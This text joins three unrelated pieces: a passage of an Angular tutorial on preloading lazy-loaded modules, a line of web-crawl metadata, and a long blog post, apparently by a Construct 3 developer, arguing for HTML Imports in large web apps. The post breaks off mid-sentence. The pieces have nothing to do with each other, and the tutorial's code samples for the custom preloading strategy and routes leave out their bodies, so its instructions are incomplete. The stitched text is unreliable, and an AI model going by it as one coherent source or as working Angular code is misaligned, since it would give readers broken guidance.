Tutorial Preloading. Preloading modules in Angular is very similar to lazy loading, with the exception that the modules will be loaded immediately after all the eager loaded modules are ready. This eliminates the possible latency when navigating to a lazy loaded module, but still has the benefit of faster initial loading of the app because the initial module(s) get loaded first. The following covers preloading modules for Angular 2+ apps. PreloadAllModules The default way of doing preloading is with a preloading strategy of PreloadAllModules, meaning that all lazy-loadable modules will be preloaded. It’s very easy to implement once you have lazy loading in place. In your app module, import PreloadAllModules along with your other router imports: import { RouterModule, Routes, PreloadAllModules } from '@angular/router'; And now in your NgModule’s imports, specify the preloading strategy: imports: [ ... RouterModule.forRoot(routes, { preloadingStrategy: PreloadAllModules }) ], And there you have it! All feature modules that are lazy loadable will now be preloaded. Custom Preloading Strategy If you don’t want all lazy loadable modules to be preloaded, you can implement your own preloading strategy. This can be useful when some routes will only be used rarely and don’t need to be preloaded at all. We’ll define and export a CustomPreloading class that implements PreloadingStrategy: import { Observable } from 'rxjs/Observable'; import { PreloadingStrategy, Route } from '@angular/router'; To implement our class we define a preload method that takes in the route information and a function to call if the module should be preloaded. The method itself should return an observable, hence why we return Observable.of(null) when a module shouldn’t be preloaded. Now in our app module, we import our preloading strategy class, provide it, and tell RouterModule.forRoot about it: // ... import { routes } from './routes'; import { CustomPreloading } from './custom-preloading'; Routes Our routes can be setup with something similar to this, providing a data object with preload: true for modules that should be preloaded: import { DashboardComponent } from './dashboard/dashboard.component'; import { Routes } from '@angular/router'; As with lazy loading, you can head over to your DevTools’ network tab to verify that the chunks get loaded and that preloading is working.
https://www.digitalocean.com/community/tutorials/angular-preloading
CC-MAIN-2020-34
refinedweb
359
53.41
Hi guys, I've recently written a block of code to serve as an internal integer-based clock for another program I'm using. public class WorldTime { public String gametime; final int sunrise = 600; final int sunset = 1800; public int timevalue = 0; public Boolean isnight; public Boolean isday; public Boolean issunrise; public Boolean issunset; public Boolean runclock; public int currentTime() { while (true) { try { Thread.sleep(1000); } catch (InterruptedException timevalue) { } if (timevalue == 2400) { resetTime(); } else { timevalue++; } return timevalue; } } There are a lot more other methods in the class, but this is the only one I'm interested in for this question. Now, to test that this counting system is working, I created a dummy program to merely test to method value to see if this method was working. public class TimeTest { public static int cool; public static void main(String args[]) { WorldTime base = new WorldTime(); cool = base.currentTime(); testRun(); } public static void testRun() { Scanner scan = new Scanner(System.in); int x = scan.nextInt(); int y = new WorldTime().currentTime(); if (x > 0) { try { Thread.sleep(5000); } catch (InterruptedException timevalue) { } System.out.println("The program's time is: " + cool); } } } The code compiles easily. I have it sleep for 5 seconds to see if the counting method works. However, the output is always "1", regardless of how long the sleep value is, or how long I wait to input an x value. What's going on here? I'm not exactly a java expert, but I have enough experience writing code that I thought this should work. Thanks in advance!
http://www.javaprogrammingforums.com/object-oriented-programming/15767-my-while-true-loop-method-only-seems-run-once.html
CC-MAIN-2015-11
refinedweb
256
56.45
Odoo Help This community is for beginners and experts willing to share their Odoo knowledge. It's not a forum to discuss ideas, but a knowledge base of questions and their answers. How to get ip address of login user? Hi friends, Im using openerp v 6.1.I have to get the ip address and need to store it in databse based on user login. How can we achieve this? Please help me in this situation.Thanks in advance. You can add import: from openerp.http import request And then create a method which gets the IP through the environ: def _get_ipaddress(self, cr, uid, context=None): return request.httprequest.environ['REMOTE_ADDR'] Another V6.1 user that reported he got it working was through this: Similar questions (where my answer is based!
https://www.odoo.com/forum/help-1/question/how-to-get-ip-address-of-login-user-77074
CC-MAIN-2016-50
refinedweb
133
69.58
Created on 2011-01-31 19:44 by rhettinger, last changed 2013-02-01 22:14 by brett.cannon. This issue is now closed.. Why not just put them in the 'abc' namespace? IMO, collections.abc.Callable makes a lot less sense than abc.Mapping. > Why not just put them in the 'abc' namespace? Two reasons: * There are lots of ABCs scattered throughout the standard libary that aren't collections ABCs (the importlib ABCs and IO ABCs for example). * Guido viewed collections ABCs as tightly associated with collections. Hmm. OK, so it is just Callable that is the odd man out. But in that case, shouldn't the pattern be adopted by the other modules that define abcs as well? And if the distinction isn't sharp enough in those other modules to justify that, then I question whether it is a good idea to special-case collections. The docs already make the distinction pretty clear. My "flat is better than nested" alarm is going off here :) Importlib puts all of its ABCs in importlib.abc, so at least one package has already taken this approach. I for one support the collections.abc idea. And what about those "collection" ABCs that aren't collections? These are at least * Hashable * Callable * ByteString * Iterator > And what about those "collection" ABCs that aren't collections? <shrug> Guido originally thought all these should live together and I don't see much of a win in separating them from the other. Seems a good idea to me. Regarding the implementation, knowing your reluctance to turn modules into packages, I guess you’re talking about exposing collections.abc in a similar manner to os.path, which is fine IMO. However done, I would prefer separation also. > Regarding the implementation, knowing your reluctance to turn modules > into packages, I guess you’re talking about exposing collections.abc in > a similar manner to os.path, which is fine IMO. That makes things confusing: >>> import os.path >>> os.path.__name__ 'posixpath' >>> import collections >>> collections.Mapping <class '_abcoll.Mapping'> yikes? Okay, I plead guilty of premature implementation talk. The clean solution is just moving collections.py to collections/__init__.py and _abcoll.py to collections/abc.py, but I will defer to Raymond here. I'll use the packaging approach. The os.path technique predated packages and is no longer the preferred way of doing things. Followed Brett's example with importlib and made collection into a package with an abc module. See r88490. Some missed doc changes. For the record, this made unloaded interpreter startup quite a bit slower since importing one of the abcs now imports the whole collection package and its dependencies. From 3.2 to 3.3: ### normal_startup ### Min: 0.842961 -> 1.091329: 1.29x slower Avg: 0.851607 -> 1.106344: 1.30x slower Significant (t=-37.61) Stddev: 0.00623 -> 0.01381: 2.2162x larger Timeline: ### startup_nosite ### Min: 0.247490 -> 0.378279: 1.53x slower Avg: 0.255694 -> 0.382722: 1.50x slower Significant (t=-39.46) Stddev: 0.00865 -> 0.00536: 1.6141x smaller Timeline: It probably doesn't make much difference in practice, since collections is one of those modules everyone will use in their code. > collections is one of those modules everyone will use in their code. Simply untrue, and definitely not in every program. It is also irrelevant for bringing up the interactive interpreter, where there initially is no user code and which should happen as fast as possible. I also doubt IDLE uses collections to bring up its shell window. > > collections is one of those modules everyone will use in their code. > > Simply untrue, and definitely not in every program. It is also > irrelevant for bringing up the interactive interpreter, where there > initially is no user code and which should happen as fast as possible. I don't think a 50ms startup time is a problem for the interactive interpreter. Of course, it will be more noticeable on very slow machines. > I also doubt IDLE uses collections to bring up its shell window. The collections module appeared in 2.4; antiquated code might indeed not know about it ;) You also have to think about command-line apps like Mercurial that need to be snappy. For those guys, a lot of added startup time is a big deal -- one of the reasons Matt Mackall hates thinking about a Python 3 port is that Python 3(.2) startup time is already double that of Python 2. A couple of years ago, various people worked hard to remove unneeded imports from the interpreter startup routine. The result was both quite noticeable and much appreciated on my old xp machine. I hate to see much of that progress tossed away. I'm closing this again as 3.3 actually starts up faster than 3.2 thanks to importlib so this slowdown is no longer noticeable.
http://bugs.python.org/issue11085
CC-MAIN-2014-15
refinedweb
811
69.07
digraph node mygraph $mynode -name Foo -age 99 ... digraph edge mygraph $src $dest -cost 12 -colour blue ...You can use these same commands to set the options as well (i.e., if the node already exists then it just sets any options given), and to query an option value: digraph node mygraph $mynode -name digraph edge mygraph $src $dest -ageThere is an incompatibility in that the cost associated with an edge is now just an attribute like any other, and must be specified as such: -cost 12, rather than being a distinguished argument to the edge command. The layout of the graph data-structure has also now changed to accommodate these additions, so if you were serialising graphs and reading them back in then the format will have changed in this version (as it also changed in 0.5).Also added is an implementation of Dijkstra's algorithm, which I apparently wrote some time ago. The interface for that will probably change and/or merge with the search strategies.The -progress callbacks for various iterator methods are now called less often (a max of 100 times) in order to improve performance. Should only really make a difference for large graphs.I'm planning more substantial changes to this package to neaten up the API some more and round out the feature-set. That will probably result in a 1.0 version with proper docs and test-suite, to arrive some time in January I hope. # digraph.tcl -- # # A basic directed graph library. # # Copyright (c) 2007-2008 Neil Madden ([email protected]). # License: Tcl-style package require Tcl 8.5 package provide digraph 0.6 namespace eval digraph { namespace export {[a-z]*} namespace ensemble create # DATA-STRUCTURE LAYOUT # A graph consists of a nested dictionary data structure. At the top level, # it is a mapping from node names to nodes: # graph = string -> node # Each node is then a dictionary consisting of two elements: a set of # out-going nodes and a set of user-supplied attributes: # node = { edges: edge-dict, attrs: dict } # The edges themselves are also dictionaries, mapping destination nodes to # dictionaries of attributes associated with that edge: # edge-dict = string -> dict # Thus to get the outgoing edges from a node, we can use: # dict get $graph $node edges # To get the attributes of a node we use: # dict get $graph $node attrs # To get the attributes associated with an edge, we use # dict get $graph $node edges $destination # To test for existence of a node: # dict exists $graph $node # To test for existence of an edge, use: # dict exists $graph $source edges $dest # # As you can see, the data structure is very much optimised for finding the # outgoing edges from a node (a constant-time operation). Finding the edges # coming *into* a node requires a search over the entire graph, resulting in # time linear in the total number of edges in the graph. For these kinds of # operations, it is best to store two graphs -- one storing the inverse # edges of the other. # create -- # # Create an empty graph. # proc create {} { return [dict create] } # node graph name ?-option ?value ...?? -- # # Create a new node in the graph if it doesn't already exist. An # arbitrary collection of options and values can be associated with # the node, which will be stored with it. If no options are given, # then this returns the dictionary of option/value pairs for that node # (or an empty dictionary if it was created). If just an option is # given then the value of that option is returned. Otherwise, the # options given are set in the dictionary. # proc node {graphVar name args} { upvar 1 $graphVar graph if {[llength $args] == 1} { return [dict get $graph $name attrs [lindex $args 0]] } else { if {![dict exists $graph $name]} { dict set graph $name [dict create edges {} attrs {}] } # Merge options with existing dict - might be quicker to use [dict # merge] here. foreach {option value} $args { dict set graph $name attrs $option $value } return [dict get $graph $name attrs] } } proc exists {graph node} { dict exists $graph $node } # edge graph source dest ?-option ?value ...?? -- # # Create a directed edge (arc) from source to dest in the graph, # with an optional cost weighting. As with nodes, an arbitrary # dictionary of option/value pairs can be associated with each edge. # The option '-cost' is reserved for storing the cost associated with # an edge. # proc edge {graphVar source dest args} { upvar 1 $graphVar graph # ensure nodes exist node graph $source; node graph $dest if {[llength $args] == 1} { # Get one attribute return [dict get $graph $source edges $dest [lindex $args 0]] } else { if {[dict exists $graph $source edges $dest]} { set default [dict get $graph $source edges $dest] } else { set default [dict create -cost 1] } dict set graph $source edges $dest [dict merge $default $args] return [dict get $graph $source edges $dest] } } # order graph -- # # Return the number of nodes in the graph # proc order graph { dict size $graph } # size graph -- # # Return the number of edges in the graph # proc size graph { set total 0 dict for {_ v} $graph { incr total [dict size [dict get $v edges]] } return $total } # degree graph node -- # # Return the number of outgoing edges from a node in the graph. # proc degree {graph node} { dict size [dict get $graph $node edges] } # nodes graph ?-progress cmd? nodeVar script -- # # Iterate through the nodes in the graph (in arbitrary order) # calling a script for each node. If the -progress option is given # then this command is called periodically with the current iteration # count and the total number of nodes. # proc nodes {graph args} { array set opts { -progress "" } array set opts [lrange $args 0 end-2] lassign [lrange $args end-1 end] nodeVar script upvar 1 $nodeVar node set total [order $graph] set period [expr {max(1,$total / 100)}] set done 0 foreach node [dict keys $graph] { if {[llength $opts(-progress)] && [incr done] % $period == 0} { uplevel #0 [linsert $opts(-progress) end $done $total] } Uplevel 1 $script } } # edges graph ?-progess cmd? {sourceVar destVar attrVar} script -- # # Iterate through the edges in the graph (in arbitrary order) # calling a script for each edge, passing in the source and # destination nodes of the edge and the attributes. If the -progress # option is given then this command is called with the current # iteration count and the total number of edges periodically. # proc edges {graph args} { array set opts { -progress "" } array set opts [lrange $args 0 end-2] lassign [lrange $args end-1 end] vars script lassign $vars sourceVar destVar attrVar upvar 1 $sourceVar source $destVar dest $attrVar attrs # calculate total number of edges set total [size $graph] set done 0 set period [expr {max(1,$total / 100)}] dict for {source dests} $graph { dict for {dest attrs} [dict get $dests edges] { if {[llength $opts(-progress)] && [incr done] % $period == 0} { uplevel #0 [linsert $opts(-progress) end $done $total] } Uplevel 1 $script } } } # search graph source strategy {pathVar costVar} script -- # # Walk the entire graph structure from the source node without # cycles. New nodes are searched in the order determined by the # strategy command which queues new nodes in some order. For each # new path encountered the script is called with the current path # from the source node to that node and the total cost of that path. # proc search {graph source strategy vars script} { lassign $vars pathVar costVar upvar 1 $pathVar path $costVar cost set queue [list [list [list $source] 0]] do { # pop first item off queue set next [lindex $queue 0] set queue [lreplace $queue [set queue 0] 0] lassign $next path cost set node [lindex $path end] # visit the node Uplevel 1 $script # expand this node expand $graph $node $path {newPath newCost} { # Invoke the strategy command for the new path. set cmd $strategy lappend cmd $queue $newPath [expr {$cost+$newCost}] # Setting the queue and cmd vars to "" here is an optimisation # that ensures that the underlying queue has ref-count 1 when # passed to the strategy, allowing in-place modification by Tcl. set queue "" set queue [uplevel #0 $cmd][set cmd ""] } } while {[llength $queue]} } # expand graph node path {pathVar costVar} script -- # # Iterate through all new paths that are reachable from "node" via # an outgoing edge. # proc expand {graph node path vars script} { lassign $vars pathVar costVar upvar 1 $pathVar newPath $costVar cost if {![dict exists $graph $node]} { return } dict for {dest attrs} [dict get $graph $node edges] { set cost [dict get $attrs -cost] if {$dest ni $path} { set newPath [linsert $path end $dest] Uplevel 1 $script } } } # Implementation of Dijkstra's shortest-paths algorithm. # Doesn't really fit with the rest of the search strategies currently so is # a stand-alone method. These should be unified (perhaps via a general fold # method). proc dijkstra {graph start} { set D [dict create] ;# distance function set P [dict create] ;# previous node in path set V [list] nodes $graph node { lappend V $node dict set D $node Inf } dict set D $start 0 set n [order $graph] for {set i 0} {$i < $n} {incr i} { set v [MinVertex $graph $D V] if {[dict get $D $v] == Inf} { break } ;# unreachable expand $graph $v {} {path cost} { set node [lindex $path end] if {[dict get $D $node] > ([dict get $D $v] + $cost)} { dict set P $node $v dict set D $node [expr {[dict get $D $v]+$cost}] } } } return [list $D $P] } proc MinVertex {graph D vVar} { upvar 1 $vVar V set idx 0 set v [lindex $V 0] for {set i 0} {$i < [llength $V]} {incr i} { set node [lindex $V $i] if {[dict get $D $node] < [dict get $D $v]} { set v $node set idx $i } } set V [lreplace $V $idx $idx] return $v } # readdot dotfile -- # # Read a Graphviz .dot file and construct a digraph based on the # information contained in it. Currently this just forms a simple # unweighted graph and ignores most information in the file. # proc readdot {dotfile} { set in [open $dotfile] set g [create] foreach line [split [read $in] \n] { if {[regexp {(.*)->(.*)[;\[]} $line -> source dest]} { edge g [string trim $source] [string trim $dest] } elseif {[regexp {(\S+);} $line -> node]} { node g [string trim $node] } } return $g } proc savedot {graph name dotfile} { set out [open $dotfile w] puts $out "digraph $name {" nodes $graph node { puts $out " $node;" } edges $graph {src dest attrs} { set cost [dict get $attrs -cost] puts $out " $src -> $dest \[weight=$cost\];" } puts $out "}" close $out } # STRATEGIES... proc depth-first {queue element cost} { # add to front of queue linsert $queue 0 [list $element $cost] } proc breadth-first {queue element cost} { # add to rear of queue linsert $queue end [list $element $cost] } # expand nodes with lowest cost-so-far first proc uniform-cost {queue element cost} { # find place to insert in queue set idx 0 foreach elem $queue { lassign $elem path itemcost if {$itemcost >= $cost} { break } incr idx } linsert $queue $idx [list $element $cost] } # expand nodes with best (lowest) heuristic cost first proc best-first {f queue element cost} { set node [lindex $element end] set h [uplevel #0 [linsert $f end $node]] # find place to insert in queue set idx 0 foreach item $queue { lassign $item path itemg itemh if {$itemh >= $h} { break } incr idx } linsert $queue $idx [list $element $cost $h] } proc a-star {heuristic queue element cost} { best-first [namespace code [list A* $heuristic $cost]] \ $queue $element $cost } proc A* {h cost element} { expr {[uplevel #0 [lappend h $element]]+$cost} } # Private helper utilities. proc do {script _while_ cond} { set rc [catch { uplevel 1 $script } result] if {$rc == 3} { return } if {$rc != 0 && $rc != 4} { return -code $rc $result } Uplevel 1 [list while $cond $script] } proc Uplevel {level script} { if {[string is integer -strict $level]} { incr level } set rc [catch { uplevel $level $script } result] if {$rc == 0} { return } if {$rc != 1} { return -code $rc $result } return -code error -errorcode $::errorCode -errorinfo $::errorInfo $result } } ExampleI'll try and update my pages on state space searching to use this simple package now. Until then, here is the example code that I was using to generate least-cost routes (I store the routes in an existing SQLite database): package require Tcl 8.5 package require digraph 0.1 package require sqlite3 3.3 proc routes {graph file} { sqlite3 db $file db transaction { digraph nodes $graph -progress ::progress source { set visited [dict create] digraph search $graph $source {digraph least-cost} path { set dest [lindex $path end] if {[dict exists $visited $dest]} { continue } ;# don't expand again dict set visited $dest 1 db eval {INSERT INTO route VALUES($source, $dest, $path)} } } } db close } proc progress {done total} { set percent [expr {int(double($done)/double($total)*100)}] puts -nonewline [format "\rProgress: |%-50.50s| %3d%% (%d/%d)" \ [string repeat "=" [expr {$percent/2}]]> $percent \ $done $total] flush stdout } set rhun [digraph readdot ~/Desktop/Rhun_map.dot] puts "Computing routes..." routes $rhun rhun_routes.db puts "\nDone."Lars H: Hmm... Is this something like the real problem you're after, or just an example? (Minimum-cost path (a.k.a. shortest path) is one of the basic graph problems for which there exist low order polynomial (i.e., fast) algorithms, but searching the space of all paths isn't the right way to do it.) The digraph package itself looks nice, but a problem for many algorithms is that it only gives you quick access to edges leaving a vertex; it is often also necessary to know which edges are coming in to a vertex.NEM: Well, for my problems I only care about outgoing edges, hence the bias in the package. I'd be interested in pointers to faster minimum-cost algorithms, but the basic approach here worked fine -- it generated all ~170000 routes I needed in under 10 minutes, which is fine for a one-off operation. I'm currently working on an implementation of Dijkstra's algorithm, if that is what you were referring to.Lars H: OK, the must-know algorithm for Shortest Path is Dijkstra's algorithm [1]. One that is more immediately lends itself to your package is the Moore–Bellman–Ford algorithm [2], which can be coded as follows: proc MBF {G source} { digraph nodes $G v {set l($v) infinity} set l($source) 0 for {set count [digraph size $G]} {$count>1} {incr count -1} { digraph edges $G {u v c} { if {$l($u) != "infinity" && $l($v) > $l($u) + $c} then { set l($v) [expr {$l($u) + $c}] set p($v) $u } } } set res {} foreach v [array names p] { lappend res $v [list $l($v) $p($v)] } return $res }(Untested, I don't have an 8.5 immediately available.) MBF returns a dictionary with one entry for every vertex reachable from $source, whose entries are lists of two elements. The first element is the length of the shortest (cost of the cheapest) path from $source to that vertex. The second element is the previous vertex on that path. Dijkstra's algorithm is faster (particularly so for dense graphs), whereas Moore–Bellman–Ford can cope with cycles of negative weight in the graph.NEM: Thanks for this, I'll try and integrate it tonight. (Note: in recent Tcls expr recognises "Inf" as infinity). I'll also see about implementing Floyd's algorithm or some other all-pairs shortest-path algorithm, as that is what I primarily needed this package for (I am pre-computing all routes between all pairs of locations in a virtual environment so that agents only have to do local path-finding at runtime). Feel free to update the code directly if you have good ideas (e.g., new algorithms, or if you want to adjust the representation to make it quicker to find incoming edges).BTW, the "size" procedure should really be named "order". The size of a graph is the number of edges.NEM: Fixed, thanks. LV Is there any thought to adding your package to tcllib, or at least incorporating what you have learned into whatever relevant module might already be there?NEM Tcllib already has a graph package which is roughly a superset of the functionality here. The main differences are that the graphs here are values (strings) rather than opaque "objects", and the search methods here are different to the ones in tcllib. The tcllib graph has a "walk" method which includes breadth-first and depth-first searches, and could perhaps incorporate a general search strategy queuing function, as here, but I don't know.APE 01 August 2013 Using SQLite to store graph related data, isn't it a first step toward the NoSQL world ? See also Heuristic Searches for another example. RFox - 2013-08-01 12:28:43The topic fooled me completely :
http://wiki.tcl.tk/18129
CC-MAIN-2018-39
refinedweb
2,735
61.7
A simplified approach to calling APIs with redux ⏬ Redux has taken the web development by storm, and after the success of react and flux, it has made the flux philosophy more accessible through its simplified approach. Although, something has always bothered me about redux : Why is it so complicated to call APIs?! The async actions tutorial given in the documentation is no doubt a scalable approach to handling these kind of situations, but it’s not very simple, and you would need to go over it a couple of times before you get used to the idea. Sometimes, we need a simpler method for addressing API calls in apps that are not-so-complex. This post will go through an alternative design pattern, to make async actions and API calls easier for smaller apps (and perhaps for larger ones as well), while respecting the three principles of redux and one way data flow. Prerequisites You should be comfortable with redux(and probably react) by now. An understanding of redux middleware would be nice, although it is not required (Just know that middleware is what comes in between dispatching an action and updating the store). Our application We are going to build on top of the redux to-do mvc example, by adding an API call to load the initial set of todo items. The proposed pattern would make use of 4 steps for each API call : - Dispatch an action when the application needs to call an API. - Render the application in a loading state for that particular API. - Dispatch an action when a response is received. - Render the application with the received data, or with an error message, depending on the response. Adding an API service as a middleware We will be adding a middleware which listens to all our actions, and calls an API when the appropriate action type is received. All actions, including actions recognized by this service should pass through the data service transparently, so that the rest of our application can still use them. The normal flow of data in any flux architecture would look like this : Adding our data service middleware would result in a slightly modified flowchart: We create our API service in a single file : import request from 'superagent' const dataService = store => next => action => { /* Pass all actions through by default */ next(action) switch (action.type) { case 'GET_TODO_DATA': /* In case we receive an action to send an API request, send the appropriate request */ request.get('/data/todo-data.json').end((err, res) => { if (err) { /* in case there is any error, dispatch an action containing the error */ return next({ type: 'GET_TODO_DATA_ERROR', err }) } const data = JSON.parse(res.text) /* Once data is received, dispatch an action telling the application that data was received successfully, along with the parsed data */ next({ type: 'GET_TODO_DATA_RECEIVED', data }) }) break /* Do nothing if the action does not interest us */ default: break } } export default dataService The data service we just created uses redux’s standard middleware signature. Also, we use the library superagent, an awesome HTTP library for making AJAX calls.>A useful naming convention for data service action types is "` In our case we are getting data for our todo list, which we choose to name TODO_DATA, so when we first request for it the action name is just GET_TODO_DATA, and on completion, we get the status of our GET_TODO_DATA request, by appending the action type with either ERROR or RECEIVED (the exact words for these names are entirely up to you) Modifying the existing todo app After creating the data service middleware, we import it and apply it to the todo app : import React from 'react' import { render } from 'react-dom' import { Provider } from 'react-redux' import { createStore, applyMiddleware, compose } from 'redux' import todoApp from './reducers' import App from './components/App' import dataService from './services/data-service' /* Applying our middleware to the store */ let store = createStore(todoApp, {}, applyMiddleware(dataService)) render( <Provider store={store}> <App /> </Provider>, document.getElementById('app-node') ) store.dispatch({ type: 'GET_TODO_DATA' }) We also dispatch the API call once our app is done rendering initially. We then modify our todos reducer so that it adds all todos on receiving data from our API : const todos = (state = [], action) => { switch (action.type) { case 'ADD_TODO': return [ ...state, todo( undefined, Object.assign(action, { id: state.length }) ) ] case 'TOGGLE_TODO': return state.map(t => todo(t, action)) /* Consider all received data as the initial list of todo items */ case 'GET_TODO_DATA_RECEIVED': return action.data default: return state } } Since it takes time for the data to arrive after we request for it, it’s important to put an indicator to let the user know that the data is currently loading. This is done by adding a boolean For this, we make another reducer for the true whenever we start an API request, and turns back to false when the API call is done. const loading = (state = false, action) => { switch (action.type) { case 'GET_TODO_DATA': return true case 'GET_TODO_DATA_RECEIVED': return false case 'GET_TODO_DATA_ERROR': return false default: return state } } export default loading We then modify our TodoList component to show “Loading…” whenever the const TodoList = ({ todos, onTodoClick, loading }) => ( <ul> {loading ? 'Loading...' : ''} {todos.map(todo => ( <Todo key={todo.id} {...todo} onClick={() => onTodoClick(todo.id)} /> ))} </ul> ) Scaling our data service Although our data service works for now, it would be wise to be DRY if we want to call more than one API. To do this, we would make a “request generator”, which is a curried function which takes next as an argument and returns a function which makes a request to the route we provide, and dispatches actions according to our naming convention. const getApiGenerator = next => (route, name) => request.get(route).end((err, res) => { if (err) { return next({ type: `${name}_ERROR`, err }) } const data = JSON.parse(res.text) next({ type: `${name}_RECEIVED`, data }) }) Our data service would then change to : import request from 'superagent' const getApiGenerator = next => (route, name) => request.get(route).end((err, res) => { if (err) { return next({ type: 'GET_TODO_DATA_ERROR', err }) } const data = JSON.parse(res.text) next({ type: 'GET_TODO_DATA_RECEIVED', data }) }) const dataService = store => next => action => { next(action) const getApi = getApiGenerator(next) switch (action.type) { case 'GET_TODO_DATA': getApi('/data/todo-data.json', 'GET_TODO_DATA') break default: break } } export default dataService Although this approach is not a silver bullet, it works well as a simple solution for smaller applications, and more importantly, preserves the 3 principles of redux. Our data service is not a reducer. It is not a pure function. It has side effects. It is simply a layer in between our actions and reducers which dipatches other actions. The full source code of this example can be found here and the working example can be seen here. If you want to know more about connect, Provider and the react-redux library, check out my post on connecting React and redux
https://www.sohamkamani.com/blog/2016/06/05/redux-apis/
CC-MAIN-2019-47
refinedweb
1,129
50.46
I gave your code a cursory glance but I didn't see a problem. Perhaps it's how you have your package and sp defined Below is an example: How to call Oracle stored procedures in Visual Basic .NET with the Microsoft Oracle Managed Provider Here is my package code: Procedure Get_Programs ( cursor1 out cursors.data_cursor ) is begin OPEN cursor1 FOR SELECT SHELL_GROUP, SHELL_#, LOCAL_EXE_LOCATION, NETWORK_EXE_LOCATION, PROGRAM_NAME, APPLICATION_NAME, SHELL_PROGRAM_GROUPS_# FROM WZUSER.SHELL_PROGRAMS inner join wzuser.shell_program_groups on wzuser.shell_programs.shell_program_groups_# = wzuser.shell_program_groups.shell_program_group_#; end get_programs;end; Here is the definition from my DB PACKAGE "CURSORS" AS TYPE Data_cursor IS REF CURSOR;END CURSORS; Nevermind, I found the problem. Thanks for the help. John The problem was setting the variable's dbtype. Once the parameter was set to an Oracle type, I cast a local variable of type oracle parameter and set the oracletype = cursor and it worked. So now, when the parameter comes in I check it's type, if it is Oracle I recast a local variable to an oracle parameter and set it's oracletype, otherwise I pass it along. It would be nice to resolve this issue in the next version of ADO or with a service pack. Oracle's driver does solve this and participates in the factory model so I know it is possible, and from the looks of it, there are others who would like to see a cursor or refcursor type in the common namespace.
http://databaseforum.info/25/500086.aspx
CC-MAIN-2019-13
refinedweb
242
53.71
recently launched Construct 3, an incredibly ambitious port of an entire game development IDE to the browser. This involved porting a Windows desktop app with around 250,000 lines of C++ code to the web platform with hand-written Javascript using the latest ES2015+ features. There are many fascinating aspects of this project which will probably produce several blog posts, but the most interesting — and pressing — aspect is our use of Web Components, particularly HTML Imports. Hopefully projects like Construct 3 are exactly what browser makers like Google are hoping to see: ambitious Progressive Web Apps (PWAs) that are fully-featured cross-platform replacements for their native counterparts. We've had great feedback on it too, with some users even saying they forget they're in a browser and not a native app. Ports like this still appear to be uncommon as the web platform is still developing and maturing the necessary APIs. Few other companies are willing to take on such a vast and potentially risky project, or if they do, they appear to downplay their PWA as a "Lite" version. We make no such apology; our PWA is the real deal. Therefore I think that our web development experience is particularly notable, especially since our approach to Web Components is pretty much the reverse of what everyone else does from what I gather reading around the web. Web Components are made up of four key technologies: Custom Elements, HTML Templates, Shadow DOM and HTML Imports. Across thousands of lines of code, style and markup, Construct 3 makes minimal use of the first three. They just don't seem to be particularly important to this kind of app with our development approach. However Construct 3 is entirely architected around HTML Imports. They're the glue that holds the whole app together; we use around 300 separate HTML imports. Construct 3 is a huge app and imports work beautifully to break it down in to manageable components that are genuinely a joy to work with. Guess which Web Component Google wants to remove? That's right! HTML imports are down for possible removal, or later replacement by something different. We'll be fine — we've successfully polyfilled HTML imports, so even if they're removed, Construct 3 will continue on regardless. But like most polyfills it has some pitfalls, particularly for performance. I'm stunned that such a key part of the future web platform is being disregarded, but I can sort of understand how it's come to this. So part of the reason I'm writing this post is to try and push back against that. Construct 3 is made up of over 1000 JavaScript files, nearly 200 CSS files (not including decorative themes — most of that is for functional layout), and as mentioned around 300 HTML imports with markup for various parts of the app. (Don't worry, our build system massively reduces this so end users don't need to make that many requests. It is however what we work with as developers.) HTML Imports allow all three aspects of a web app to be componentised — markup, style and script. The alternative is either no components (just throw thousands of tags in to one HTML file!) or, in the near future, JavaScript Modules. JavaScript Modules make no effort whatsoever to componentise markup or style. They only deal with one out of the three aspects: script. So that doesn't help you organise hundreds of CSS files, or thousands of lines of markup. Hopefully you can see that neither of these options solves the problem of nicely architecting a huge web app. The best demonstration of how beautifully HTML imports can work is when defining a dialog. Construct 3 has over 50 dialogs ranging from a simple OK dialog to a fully-featured image and animations editor implemented in a <dialog>. So this alone is a significant part of the product covering a whole spectrum of features. Let's look at our typical approach to developing a new dialog. We: Here's a simplified version of what the import looks like: <!-- Dialog styles --> <link rel="stylesheet" href="settingsDialog.css"> <!-- Dialog markup --> <dialog id="settingsDialog"> <dialog-caption>Settings</dialog-caption> <dialog-body> <label> <input id="option1" type="checkbox"> Option 1 </label> <label> <input id="option2" type="checkbox"> Option 2 </label> </dialog-body> <dialog-footer> <button class="okButton">OK</button> </dialog-footer> </dialog> <!-- Dialog logic --> <script src="settingsDialog.js"></script> This allows us to define a new piece of functionality in our web app in a simple, modular and isolated way. It even allows a sort of poor-man's scoping for CSS — just prefix every selector with #settingsDialog and you know it will only apply within that dialog. We also have a mini dialog framework that handles moving the <dialog> element to the main document, displaying it, running transitions, handling OK/Cancel and so on. This approach is rolled out over the entire app. It's so effective, we use it everywhere. Each separate pane in the main view has its own import. The main menu has its own import. The account component lives in an import. Each kind of object in the game development IDE (which we call a Plugin) is defined in its own import. It covers everything, because it's so simple, intuitive and effective. Surprisingly, it even covers pure-script components like the data model as well. HTML imports have built-in deduplication, preserve order of execution, can load asynchronously, and are easy to parse and concatenate in a build process. If we started today we'd probably choose JavaScript Modules for these components, but mainly just to avoid having to share top-level names in the global namespace. Other than that, HTML imports actually provide very good script componentisation too. What's the alternative? Even if you use JavaScript Modules, where do you define a new dialog? Are you supposed to wedge it in the middle of thousands of lines of markup in a single HTML file that covers everything? Are you meant to have hundreds of link tags for CSS in your <head> that take forever to scroll through? Some languages let you wedge bits of markup inside JavaScript itself, such as with JSX, but I strongly dislike this development pattern. Such languages are non-standard, require an extra compile step, and moving large amounts of markup in to script bloats script files, slows down parsing and startup time, mixes instead of separates concerns, and is harder to write tooling for since you have a script-markup mish-mash. Shouldn't markup stay in HTML files? We make minimal use of all other components. Perhaps it might make our code a bit cleaner in some cases, or be more academically correct/modular, but we get by easily enough. Here's a quick run-down of what else we use: Part of developing Construct 3 involved designing our own comprehensive UI library. This covers a windowing system (of which dialogs are a subset), tabs, toolbars, icons, menus, notifications and tips, tree controls, icon view controls, table controls, property grids and more. Custom Elements and Shadow DOM could potentially make these more modular, but we've come this far and it's worked fine, so these do not seem to be critical components for a large web app. That contrasts with HTML Imports, which are fundamental to the overall architecture. I must add that I don't at all assume that everyone develops web apps like us. I am sure that for other kinds of app, these other web components will be critical. That's fine, and this is not meant to dismiss these as unnecessary technologies. My point is to emphasise that in at least some cases, HTML imports are by far the most important of the set. Basically, I think HTML imports are ahead of their time. We started development of Construct 3 about three years ago. Before that we actually made a prototype even further back, using the traditional block layout, used 